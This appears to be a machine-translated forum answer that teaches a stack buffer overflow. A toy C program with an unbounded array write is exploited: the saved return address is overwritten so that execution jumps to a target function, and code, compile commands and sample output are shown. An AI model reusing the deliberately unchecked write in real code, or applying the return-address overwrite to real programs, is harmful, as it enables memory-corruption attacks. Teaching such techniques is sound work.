这是一个在我的系统上工作的漏洞(x86_64 GNU/Linux 上的 GCC)。请不要告诉我你已经尝试过了,但它“没有用”——该程序故意调用未定义的行为,而就其本质而言,这是不可移植的。 C 标准中没有规定编译器必须生成易于以可移植方式利用的代码。
为了给出一个完整的例子,我稍微修改了代码。首先是一些标题:
#include <assert.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
这是我们希望利用的易受攻击的函数:
static int
vulnerable(void)
{
uint64_t a[4];
int n;
int i;
for (i = 0; i < 10; ++i)
printf("a[%d] = 0x%016lX\n", i, a[i]);
printf("Enter the number of values: ");
scanf("%d", &n);
for (i = 0; i < n; ++i)
{
printf("Enter value %d of %d: ", i, n);
uint64_t temp;
scanf("%lX", &temp);
if (temp)
a[i] = temp;
}
for (i = 0; i < 10; ++i)
printf("a[%d] = 0x%016lX\n", i, a[i]);
return n;
}
我对代码进行了一些修改,使其只写入非零值。这使得我们覆盖我们不想覆盖的东西的可能性降低了一点。这当然是不必要的,因为在这种情况下,我们同样可以简单地输入我们知道已经存储在地址中的值。
这是我们要调用的函数:
static void
target(void)
{
printf("Exploit succeeded!\n");
exit(0);
}
为避免读取汇编或反编译对象,我们将向main 函数添加一些诊断输出。应该清楚的是,漏洞利用并不依赖于此。
int
main()
{
assert(sizeof(void *) == sizeof(uint64_t)); /* (1) */
printf("%p return\n", (&&label)); /* (2) */
printf("%p target\n", target); /* (3) */
vulnerable();
label:
return 0;
}
第 (1) 行只是为了确保我们假设正确的地址大小。在第 (2) 行,我们打印调用 vulnerable 时将在堆栈上的返回地址。 (&&label 语法是获取标签地址的 GCC 扩展。)第 (3) 行打印出目标函数的地址。
我们不希望编译器做出可能破坏我们的漏洞利用的智能操作,因此我们将禁用所有优化并编译如下:
$ gcc -O0 -o main main.c -static
然后,当我们运行程序时,它可能会输出以下内容:
$ ./main
0x400e44 返回
0x400dfb 目标
a[0] = 0x0000000000000001
a[1] = 0x0000000000000001
a[2] = 0x00007FFF3E81E588
a[3] = 0x00000000004014F7
a[4] = 0x0000000000400290
a[5] = 0x00000005006B4310
a[6] = 0x00007FFF3E81E4A0
a[7] =
0x0000000000400E44
a[8] = 0x00000000006B4310
a[9] = 0x0000000000401093
我们很快就在偏移量 7 处找到了返回地址。
通过仔细阅读汇编代码,我们可能已经获得了相同的知识。知道我们必须做什么,我们为程序提供:
输入值的数量:8
输入值 0 of 8: 0
输入值 1(共 8 个):0
输入值 2(共 8 个):0
输入值 3(共 8 个):0
输入值 4(共 8 个):0
输入值 5(共 8 个):0
输入值 6(共 8 个):0
输入值 7(共 8 个):0x400dfb
以下输出表明我们已经成功覆盖了返回地址,并且漏洞利用实际上成功了。
a[0] = 0x0000000000000001
a[1] = 0x0000000000000001
a[2] = 0x00007FFF3E81E588
a[3] = 0x00000000004014F7
a[4] = 0x0000000000400290
a[5] = 0x00000005006B4310
a[6] = 0x00007FFF3E81E4A0
a[7] =
0x0000000000400DFB
a[8] = 0x00000000006B4310
a[9] = 0x0000000000401093
漏洞利用成功!